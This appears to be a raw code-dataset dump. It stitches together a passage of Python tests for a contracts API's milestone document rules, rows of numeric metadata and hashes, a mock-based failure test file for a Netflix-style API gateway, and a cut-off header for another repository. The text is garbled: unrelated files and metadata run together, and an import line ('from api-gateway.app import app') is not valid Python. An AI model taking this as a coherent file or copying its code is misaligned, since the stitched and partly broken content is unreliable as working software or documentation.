response = self.app.patch_json('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), {"data": { "documentOf": "milestone", "relatedItem": spare_milestone['id']}}, status=403) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.status, '403 Forbidden') self.assertEqual(response.json['errors'], [ {"location": "body", "name": "data", "description": "Can't add document in current (spare) milestone status"}]) def milestone_document_json(self): # load document to "some id" milestone response = self.app.post_json('/contracts/{}/documents?acc_token={}'.format( self.contract_id, self.contract_token), {'data': { 'title': u'укр.doc', 'url': self.generate_docservice_url(), 'hash': 'md5:' + '0' * 32, 'format': 'application/msword', 'documentOf': 'milestone', 'relatedItem': '1234' * 8}}, status=422) self.assertEqual(response.status, '422 Unprocessable Entity') self.assertEqual(response.json['errors'], [ {"location": "body", "name": "relatedItem", "description": ["relatedItem should be one of milestones"]}]) # get correct milestone id response = self.app.get('/contracts/{}'.format(self.contract_id)) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') milestone = response.json['data']['milestones'][0] # make sure it's pending milestone! self.assertEqual(milestone['status'], 'pending') # load docs to pending milestone is allowed response = self.app.post_json('/contracts/{}/documents?acc_token={}'.format( self.contract_id, self.contract_token), {'data': { 'title': u'укр.doc', 'url': self.generate_docservice_url(), 'hash': 'md5:' + '0' * 32, 'format': 'application/msword', 'documentOf': 'milestone', 'relatedItem': milestone['id']}}) self.assertEqual(response.status, '201 Created') self.assertEqual(response.content_type, 'application/json') doc_id = response.json["data"]['id'] self.assertIn(doc_id, response.headers['Location']) self.assertEqual(u'укр.doc', response.json["data"]["title"]) self.assertEqual('milestone', response.json["data"]["documentOf"]) self.assertEqual(milestone['id'], response.json["data"]["relatedItem"]) self.assertIn('Signature=', response.json["data"]["url"]) self.assertIn('KeyID=', response.json["data"]["url"]) self.assertNotIn('Expires=', response.json["data"]["url"]) key = response.json["data"]["url"].split('/')[-1].split('?')[0] contract = self.db.get(self.contract_id) self.assertIn(key, contract['documents'][-1]["url"]) self.assertIn('Signature=', contract['documents'][-1]["url"]) self.assertIn('KeyID=', contract['documents'][-1]["url"]) self.assertNotIn('Expires=', contract['documents'][-1]["url"]) response = self.app.get('/contracts/{}/documents/{}'.format( self.contract_id, doc_id)) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(doc_id, response.json["data"]["id"]) self.assertEqual(u'укр.doc', response.json["data"]["title"]) self.assertEqual('milestone', response.json["data"]["documentOf"]) self.assertEqual(milestone['id'], response.json["data"]["relatedItem"]) # update of docs of pending milestone is allowed response = self.app.put_json('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), {'data': { 'title': u'name.doc', 'url': self.generate_docservice_url(), 'hash': 'md5:' + '0' * 32, 'format': 'application/msword', }}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(doc_id, response.json["data"]["id"]) self.assertIn('Signature=', response.json["data"]["url"]) self.assertIn('KeyID=', response.json["data"]["url"]) self.assertNotIn('Expires=', response.json["data"]["url"]) self.assertEqual('milestone', response.json["data"]["documentOf"]) self.assertEqual(milestone['id'], response.json["data"]["relatedItem"]) # set milestone's status to terminal - met for example response = self.app.patch_json('/contracts/{}/milestones/{}?acc_token={}'.format( self.contract_id, milestone['id'], self.contract_token), {'data': { "status": "met", "amountPaid": {"amount": 600000}}}) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']['status'], 'met') self.assertEqual(response.json['data']['amountPaid']['amount'], 600000) response = self.app.post_json('/contracts/{}/documents?acc_token={}'.format( self.contract_id, self.contract_token), {'data': { 'title': u'name name.doc', 'url': self.generate_docservice_url(), 'hash': 'md5:' + '0' * 32, 'format': 'application/msword', 'documentOf': 'milestone', 'relatedItem': milestone['id']}}, status=403) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.status, '403 Forbidden') self.assertEqual(response.json['errors'], [ {"location": "body", "name": "data", "description": "Can't add document in current (met) milestone status"}]) # update of docs of met milestone is not allowed response = self.app.put_json('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), {'data': { 'title': u'name.doc', 'url': self.generate_docservice_url(), 'hash': 'md5:' + '0' * 32, 'format': 'application/msword', 'documentOf': 'milestone', 'relatedItem': milestone['id']}}, status=403) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.status, '403 Forbidden') self.assertEqual(response.json['errors'], [ {"location": "body", "name": "data", "description": "Can't update document in current (met) milestone status"}]) # get scheduled milestone - it's third one (1 - met, 2 - pending, 3 - scheduled) response = self.app.get('/contracts/{}'.format(self.contract_id)) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') scheduled_milestone = response.json['data']['milestones'][3] # make sure it's scheduled milestone! self.assertEqual(scheduled_milestone['status'], 'scheduled') # can't load documents for milestone in scheduled status w/o pending change response = self.app.post_json('/contracts/{}/documents?acc_token={}'.format( self.contract_id, self.contract_token), {'data': { 'title': u'укр.doc', 'url': self.generate_docservice_url(), 'hash': 'md5:' + '0' * 32, 'format': 'application/msword', 'documentOf': 'milestone', 'relatedItem': scheduled_milestone['id']}}, status=403) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.status, '403 Forbidden') self.assertEqual(response.json['errors'], [ {"location": "body", "name": "data", "description": "Can't add document to scheduled milestone without pending change"}]) # create pending change response = self.app.post_json('/contracts/{}/changes?acc_token={}'.format( self.contract_id, self.contract_token), {'data': { 'rationale': u'причина зміни укр', 'rationale_en': 'change cause en', 'rationaleTypes': ['itemPriceVariation']}}) self.assertEqual(response.status, '201 Created') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']['status'], 'pending') change = response.json['data'] # now loading docs for scheduled milestone is allowed response = self.app.post_json('/contracts/{}/documents?acc_token={}'.format( self.contract_id, self.contract_token), {'data': { 'title': u'укр.doc', 'url': self.generate_docservice_url(), 'hash': 'md5:' + '0' * 32, 'format': 'application/msword', 'documentOf': 'milestone', 'relatedItem': scheduled_milestone['id']}}) self.assertEqual(response.status, '201 Created') self.assertEqual(response.content_type, 'application/json') doc_id = response.json["data"]['id'] self.assertIn(doc_id, response.headers['Location']) self.assertEqual(u'укр.doc', response.json["data"]["title"]) self.assertEqual('milestone', response.json["data"]["documentOf"]) self.assertEqual(scheduled_milestone['id'], response.json["data"]["relatedItem"]) self.assertIn('Signature=', response.json["data"]["url"]) self.assertIn('KeyID=', response.json["data"]["url"]) self.assertNotIn('Expires=', response.json["data"]["url"]) key = response.json["data"]["url"].split('/')[-1].split('?')[0] contract = self.db.get(self.contract_id) self.assertIn(key, contract['documents'][-1]["url"]) self.assertIn('Signature=', contract['documents'][-1]["url"]) self.assertIn('KeyID=', contract['documents'][-1]["url"]) self.assertNotIn('Expires=', contract['documents'][-1]["url"]) response = self.app.get('/contracts/{}/documents/{}'.format( self.contract_id, doc_id)) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(doc_id, response.json["data"]["id"]) self.assertEqual(u'укр.doc', response.json["data"]["title"]) self.assertEqual('milestone', response.json["data"]["documentOf"]) self.assertEqual(scheduled_milestone['id'], response.json["data"]["relatedItem"]) # update docs for scheduled milestone is allowed with pending change response = self.app.put_json('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), {'data': { 'title': u'name name.doc', 'url': self.generate_docservice_url(), 'hash': 'md5:' + '0' * 32, 'format': 'application/msword'}}, status=200) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(doc_id, response.json["data"]["id"]) self.assertEqual(u'name name.doc', response.json["data"]["title"]) self.assertIn('Signature=', response.json["data"]["url"]) self.assertIn('KeyID=', response.json["data"]["url"]) self.assertNotIn('Expires=', response.json["data"]["url"]) self.assertEqual('milestone', response.json["data"]["documentOf"]) self.assertEqual(scheduled_milestone['id'], response.json["data"]["relatedItem"]) # activate change - now there is no pending changes response = self.app.patch_json('/contracts/{}/changes/{}?acc_token={}'.format( self.contract_id, change['id'], self.contract_token), {'data': { 'status': 'active', 'dateSigned': get_now().isoformat()}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']['status'], 'active') # update docs for scheduled milestone is not allowed without pending change response = self.app.put_json('/contracts/{}/documents/{}?acc_token={}'.format( self.contract_id, doc_id, self.contract_token), {'data': { 'title': u'name name name.doc', 'url': self.generate_docservice_url(), 'hash': 'md5:' + '0' * 32, 'format': 'application/msword'}}, status=403) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.status, '403 Forbidden') self.assertEqual(response.json['errors'], [ {"location": "body", "name": "data", "description": "Can't update document to scheduled milestone without pending change"}]) # can't load documents to spare milestone spare_milestone = self.initial_data['milestones'][-2] self.assertEqual(spare_milestone['status'], 'spare') response = self.app.post_json('/contracts/{}/documents?acc_token={}'.format( self.contract_id, self.contract_token), {'data': { 'title': u'укр.doc', 'url': self.generate_docservice_url(), 'hash': 'md5:' + '0' * 32, 'format': 'application/msword', 'documentOf': 'milestone', 'relatedItem': spare_milestone['id']}}, status=403) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.status, '403 Forbidden') self.assertEqual(response.json['errors'], [ {"location": "body", "name": "data", "description": "Can't add document in current (spare) milestone status"}])

53.815851

120

0.657123

2,625

23,087

5.686095

0.057905

0.130645

0.143307

0.048238

0.966635

0.962214

0.953303

0.949015

0.945531

0.942181

0

0.013212

0.164032

23,087

428

121

53.941589

0.760155

0.074198

0

0.893678

0

0.287777

0.054978

0

0.454023

1

0.005747

false

0

0.005747

0

0.011494

0

null

0

1

0

1

0

null

0

1

0

8

e3d500bace39d7f1bea13ca84e24558558df805a

22,178

py

Python

netflix/services/api-gateway/tests/test_app.py

filibuster-testing/filibuster-corpus

225ee0017005801bee591137f82117fe37a0f899

[ "Apache-2.0" ]

7

2021-11-01T21:09:47.000Z

2022-03-16T20:38:57.000Z

netflix/services/api-gateway/tests/test_app.py

filibuster-testing/filibuster-corpus

225ee0017005801bee591137f82117fe37a0f899

[ "Apache-2.0" ]

null

netflix/services/api-gateway/tests/test_app.py

filibuster-testing/filibuster-corpus

225ee0017005801bee591137f82117fe37a0f899

[ "Apache-2.0" ]

null

import requests import os, sys import enum if sys.version_info[0] >= 3 and sys.version_info[1] >= 3: from unittest import mock else: import mock sys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))) from api-gateway.app import app parent_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))) sys.path.append(parent_path) import helper helper = helper.Helper("netflix") class MockFailure(enum.Enum): SUCCESS = 0 USER_PROFILE_FAIL = 3 USER_PROFILE_TIMEOUT = 4 USER_PROFILE_NOT_FOUND = 5 BOOKMARKS_FAIL = 6 BOOKMARKS_TIMEOUT = 7 BOOKMARKS_NOT_FOUND = 8 BOOKMARKS_FAIL_TRENDING_FAIL = 9 BOOKMARKS_FAIL_TRENDING_TIMEOUT = 10 BOOKMARKS_FAIL_TELEMETRY_FAIL = 11 BOOKMARKS_FAIL_TELEMETRY_TIMEOUT = 12 MY_LIST_FAIL = 13 MY_LIST_TIMEOUT = 14 MY_LIST_NOT_FOUND = 15 USER_REC_FAIL = 16 USER_REC_TIMEOUT = 17 USER_REC_NOT_FOUND = 18 USER_REC_FAIL_GLOBAL_REC_FAIL = 19 USER_REC_FAIL_GLOBAL_REC_TIMEOUT = 20 USER_REC_FAIL_GLOBAL_REC_FAIL_TRENDING_FAIL = 21 USER_REC_FAIL_GLOBAL_REC_FAIL_TRENDING_TIMEOUT = 22 RATINGS_FAIL = 23 RATINGS_TIMEOUT = 24 RATINGS_NOT_FOUND = 25 class MockResponse: def __init__(self, data, status_code): self.data = data self.status_code = status_code def json(self): return self.data def mock_requests_get_with_failure_setting(failure_setting): def mock_requests_get(*args, **kwargs): user_profile_request = "{}/users/chris_rivers".format(helper.get_service_url("user-profile")) if args == (user_profile_request,): if failure_setting == MockFailure.USER_PROFILE_FAIL: raise requests.exceptions.ConnectionError elif failure_setting == MockFailure.USER_PROFILE_TIMEOUT: raise requests.exceptions.Timeout elif failure_setting == MockFailure.USER_PROFILE_NOT_FOUND: status_code = 404 else: status_code = 200 return MockResponse(USER_PROFILE_RESPONSE, status_code) bookmarks_request = "{}/users/chris_rivers".format(helper.get_service_url("bookmarks")) if args == (bookmarks_request,): if failure_setting in [MockFailure.BOOKMARKS_FAIL, MockFailure.BOOKMARKS_FAIL_TRENDING_FAIL, MockFailure.BOOKMARKS_FAIL_TRENDING_TIMEOUT, MockFailure.BOOKMARKS_FAIL_TELEMETRY_FAIL, MockFailure.BOOKMARKS_FAIL_TELEMETRY_TIMEOUT]: raise requests.exceptions.ConnectionError elif failure_setting == MockFailure.BOOKMARKS_TIMEOUT: raise requests.exceptions.Timeout elif failure_setting == MockFailure.BOOKMARKS_NOT_FOUND: status_code = 404 else: status_code = 200 return MockResponse(BOOKMARKS_RESPONSE, status_code) trending_request = helper.get_service_url("trending") if args == (trending_request,): if failure_setting in [MockFailure.BOOKMARKS_FAIL_TRENDING_FAIL, MockFailure.USER_REC_FAIL_GLOBAL_REC_FAIL_TRENDING_FAIL]: raise requests.exceptions.ConnectionError elif failure_setting in [MockFailure.BOOKMARKS_FAIL_TRENDING_TIMEOUT, MockFailure.USER_REC_FAIL_GLOBAL_REC_FAIL_TRENDING_TIMEOUT]: raise requests.exceptions.Timeout else: status_code = 200 return MockResponse(TRENDING_RESPONSE, status_code) my_list_request = "{}/users/chris_rivers".format(helper.get_service_url("my-list")) if args == (my_list_request,): if failure_setting == MockFailure.MY_LIST_FAIL: raise requests.exceptions.ConnectionError elif failure_setting == MockFailure.MY_LIST_TIMEOUT: raise requests.exceptions.Timeout elif failure_setting == MockFailure.MY_LIST_NOT_FOUND: status_code = 404 else: status_code = 200 return MockResponse(MY_LIST_RESPONSE, status_code) user_rec_request = "{}/users/chris_rivers".format(helper.get_service_url("user-recommendations")) if args == (user_rec_request,): if failure_setting in [MockFailure.USER_REC_FAIL, MockFailure.USER_REC_FAIL_GLOBAL_REC_FAIL, MockFailure.USER_REC_FAIL_GLOBAL_REC_TIMEOUT, MockFailure.USER_REC_FAIL_GLOBAL_REC_FAIL_TRENDING_FAIL, MockFailure.USER_REC_FAIL_GLOBAL_REC_FAIL_TRENDING_TIMEOUT]: raise requests.exceptions.ConnectionError elif failure_setting == MockFailure.USER_REC_TIMEOUT: raise requests.exceptions.Timeout elif failure_setting == MockFailure.USER_REC_NOT_FOUND: status_code = 404 else: status_code = 200 return MockResponse(USER_REC_RESPONSE, status_code) global_rec_request = helper.get_service_url("global-recommendations") if args == (global_rec_request,): if failure_setting in [MockFailure.USER_REC_FAIL_GLOBAL_REC_FAIL, MockFailure.USER_REC_FAIL_GLOBAL_REC_FAIL_TRENDING_FAIL, MockFailure.USER_REC_FAIL_GLOBAL_REC_FAIL_TRENDING_TIMEOUT]: raise requests.exceptions.ConnectionError elif failure_setting == MockFailure.USER_REC_FAIL_GLOBAL_REC_TIMEOUT: raise requests.exceptions.Timeout else: status_code = 200 return MockResponse(GLOBAL_REC_RESPONSE, status_code) ratings_request = "{}/users/chris_rivers".format(helper.get_service_url("ratings")) if args == (ratings_request,): if failure_setting == MockFailure.RATINGS_FAIL: raise requests.exceptions.ConnectionError elif failure_setting == MockFailure.RATINGS_TIMEOUT: raise requests.exceptions.Timeout elif failure_setting == MockFailure.RATINGS_NOT_FOUND: status_code = 404 else: status_code = 200 return MockResponse(RATINGS_RESPONSE, status_code) return mock_requests_get def mock_requests_post_with_failure_setting(failure_setting): def mock_requests_post(*args, **kwargs): telemetry_request = helper.get_service_url("telemetry") if args == (telemetry_request,): if failure_setting == MockFailure.BOOKMARKS_FAIL_TELEMETRY_FAIL: raise requests.exceptions.ConnectionError elif failure_setting == MockFailure.BOOKMARKS_FAIL_TELEMETRY_TIMEOUT: raise requests.exceptions.Timeout else: status_code = 200 return MockResponse({}, status_code) return mock_requests_post @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.SUCCESS)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_success(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 200 response = reply.json assert len(response) == 5 assert response["user-profile"] == USER_PROFILE_RESPONSE assert response["bookmarks"] == BOOKMARKS_RESPONSE["bookmarks"] assert response["my-list"] == MY_LIST_RESPONSE["my-list"] assert response["recommendations"] == USER_REC_RESPONSE["recommendations"] assert response["ratings"] == RATINGS_RESPONSE["ratings"] @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.USER_PROFILE_FAIL)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_user_profile_fail(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 503 @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.USER_PROFILE_TIMEOUT)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_user_profile_timeout(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 503 @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.USER_PROFILE_NOT_FOUND)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_user_profile_not_found(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 404 @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.BOOKMARKS_FAIL)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_bookmarks_fail(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 200 response = reply.json assert len(response) == 5 assert response["user-profile"] == USER_PROFILE_RESPONSE assert response["trending"] == TRENDING_RESPONSE["trending"] assert response["my-list"] == MY_LIST_RESPONSE["my-list"] assert response["recommendations"] == USER_REC_RESPONSE["recommendations"] assert response["ratings"] == RATINGS_RESPONSE["ratings"] @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.BOOKMARKS_TIMEOUT)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_bookmarks_timeout(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 200 response = reply.json assert len(response) == 5 assert response["user-profile"] == USER_PROFILE_RESPONSE assert response["trending"] == TRENDING_RESPONSE["trending"] assert response["my-list"] == MY_LIST_RESPONSE["my-list"] assert response["recommendations"] == USER_REC_RESPONSE["recommendations"] assert response["ratings"] == RATINGS_RESPONSE["ratings"] @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.BOOKMARKS_NOT_FOUND)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_bookmarks_not_found(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 200 response = reply.json assert len(response) == 5 assert response["user-profile"] == USER_PROFILE_RESPONSE assert response["trending"] == TRENDING_RESPONSE["trending"] assert response["my-list"] == MY_LIST_RESPONSE["my-list"] assert response["recommendations"] == USER_REC_RESPONSE["recommendations"] assert response["ratings"] == RATINGS_RESPONSE["ratings"] @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.BOOKMARKS_FAIL_TRENDING_FAIL)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_bookmarks_fail_trending_fail(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 503 @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.BOOKMARKS_FAIL_TRENDING_TIMEOUT)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_bookmarks_fail_trending_timeout(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 503 @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.BOOKMARKS_FAIL_TELEMETRY_FAIL)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.BOOKMARKS_FAIL_TELEMETRY_FAIL)) def test_api_gateway_bookmarks_fail_telemetry_fail(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 200 response = reply.json assert len(response) == 5 assert response["user-profile"] == USER_PROFILE_RESPONSE assert response["trending"] == TRENDING_RESPONSE["trending"] assert response["my-list"] == MY_LIST_RESPONSE["my-list"] assert response["recommendations"] == USER_REC_RESPONSE["recommendations"] assert response["ratings"] == RATINGS_RESPONSE["ratings"] @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.BOOKMARKS_FAIL_TELEMETRY_TIMEOUT)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.BOOKMARKS_FAIL_TELEMETRY_TIMEOUT)) def test_api_gateway_bookmarks_fail_telemetry_timeout(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 200 response = reply.json assert len(response) == 5 assert response["user-profile"] == USER_PROFILE_RESPONSE assert response["trending"] == TRENDING_RESPONSE["trending"] assert response["my-list"] == MY_LIST_RESPONSE["my-list"] assert response["recommendations"] == USER_REC_RESPONSE["recommendations"] assert response["ratings"] == RATINGS_RESPONSE["ratings"] @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.MY_LIST_FAIL)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_my_list_fail(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 503 @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.MY_LIST_TIMEOUT)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_my_list_timeout(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 503 @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.MY_LIST_NOT_FOUND)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_my_list_not_found(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 404 @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.USER_REC_FAIL)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_user_rec_fail(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 200 response = reply.json assert len(response) == 5 assert response["user-profile"] == USER_PROFILE_RESPONSE assert response["bookmarks"] == BOOKMARKS_RESPONSE["bookmarks"] assert response["my-list"] == MY_LIST_RESPONSE["my-list"] assert response["recommendations"] == GLOBAL_REC_RESPONSE["recommendations"] assert response["ratings"] == RATINGS_RESPONSE["ratings"] @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.USER_REC_TIMEOUT)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_user_rec_timeout(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 200 response = reply.json assert len(response) == 5 assert response["user-profile"] == USER_PROFILE_RESPONSE assert response["bookmarks"] == BOOKMARKS_RESPONSE["bookmarks"] assert response["my-list"] == MY_LIST_RESPONSE["my-list"] assert response["recommendations"] == GLOBAL_REC_RESPONSE["recommendations"] assert response["ratings"] == RATINGS_RESPONSE["ratings"] @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.USER_REC_NOT_FOUND)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_user_rec_not_found(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 200 response = reply.json assert len(response) == 5 assert response["user-profile"] == USER_PROFILE_RESPONSE assert response["bookmarks"] == BOOKMARKS_RESPONSE["bookmarks"] assert response["my-list"] == MY_LIST_RESPONSE["my-list"] assert response["recommendations"] == GLOBAL_REC_RESPONSE["recommendations"] assert response["ratings"] == RATINGS_RESPONSE["ratings"] @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.USER_REC_FAIL_GLOBAL_REC_FAIL)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_user_rec_fail_global_rec_fail(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 200 response = reply.json assert len(response) == 5 assert response["user-profile"] == USER_PROFILE_RESPONSE assert response["bookmarks"] == BOOKMARKS_RESPONSE["bookmarks"] assert response["my-list"] == MY_LIST_RESPONSE["my-list"] assert response["trending"] == TRENDING_RESPONSE["trending"] assert response["ratings"] == RATINGS_RESPONSE["ratings"] @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.USER_REC_FAIL_GLOBAL_REC_TIMEOUT)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_user_rec_fail_global_rec_timeout(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 200 response = reply.json assert len(response) == 5 assert response["user-profile"] == USER_PROFILE_RESPONSE assert response["bookmarks"] == BOOKMARKS_RESPONSE["bookmarks"] assert response["my-list"] == MY_LIST_RESPONSE["my-list"] assert response["trending"] == TRENDING_RESPONSE["trending"] assert response["ratings"] == RATINGS_RESPONSE["ratings"] @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.USER_REC_FAIL_GLOBAL_REC_FAIL_TRENDING_FAIL)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_user_rec_fail_global_rec_fail_trending_fail(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 503 @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.USER_REC_FAIL_GLOBAL_REC_FAIL_TRENDING_TIMEOUT)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_user_rec_fail_global_rec_fail_trending_timeout(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 503 @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.RATINGS_FAIL)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_ratings_fail(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 503 @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.RATINGS_TIMEOUT)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_ratings_timeout(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 503 @mock.patch('requests.get', side_effect=mock_requests_get_with_failure_setting(MockFailure.RATINGS_NOT_FOUND)) @mock.patch('requests.post', side_effect=mock_requests_post_with_failure_setting(MockFailure.SUCCESS)) def test_api_gateway_ratings_not_found(mock_get, mock_post): client = app.test_client() reply = client.get("/homepage/users/chris_rivers") assert reply.status_code == 404 USER_PROFILE_RESPONSE = { "id": "chris_rivers", "name": "Chris Rivers", "email": "chris_rivers@netflix.com" } BOOKMARKS_RESPONSE = { "bookmarks": [ { "movie": "Harry Potter and the Philosopher's Stone", "timecode": "01:20:00" }, { "movie": "Harry Potter and the Chamber of Secrets", "timecode": "00:01:20" } ] } MY_LIST_RESPONSE = { "my-list": ["Harry Potter and the Prisoner of Azkaban", "Harry Potter and the Goblet of Fire"] } USER_REC_RESPONSE = { "recommendations": ["Harry Potter and the Order of the Phoenix", "Harry Potter and the Half-Blood Prince", "Harry Potter and the Deathly Hallows"], } GLOBAL_REC_RESPONSE = { "recommendations": ["Inception", "Shutter Island", "The Dark Night"] } RATINGS_RESPONSE = { "ratings": [ { "movie": "Harry Potter and the Philosopher's Stone", "rating": 5 }, { "movie": "Twilight", "rating": 4 } ] } TRENDING_RESPONSE = { "trending": ["The Croods", "Red Dot", "We Can Be Heroes"] }

47.187234

268

0.739201

2,772

22,178

5.541847

0.054113

0.066528

0.104153

0.068741

0.890509

0.872022

0.854837

0.843445

0.813891

0.765135

0

0.009642

0.15822

22,178

469

269

47.287846

0.81322

0

0.535533

0

0.134322

0.037109

0

0.228426

0

null

0

0.017767

null

0

null

0

1

0

null

0

1

0

7

549c024986620ad67e449cbc9faab242140578d9

9,935

py

Python

thenewboston_node/blockchain/tests/test_list_block_chunks_meta.py

fonar/thenewboston-node

e8b574b32b3f0ff6d19a764105558ba1f3b31bc2

[ "MIT" ]

null

thenewboston_node/blockchain/tests/test_list_block_chunks_meta.py

fonar/thenewboston-node

e8b574b32b3f0ff6d19a764105558ba1f3b31bc2

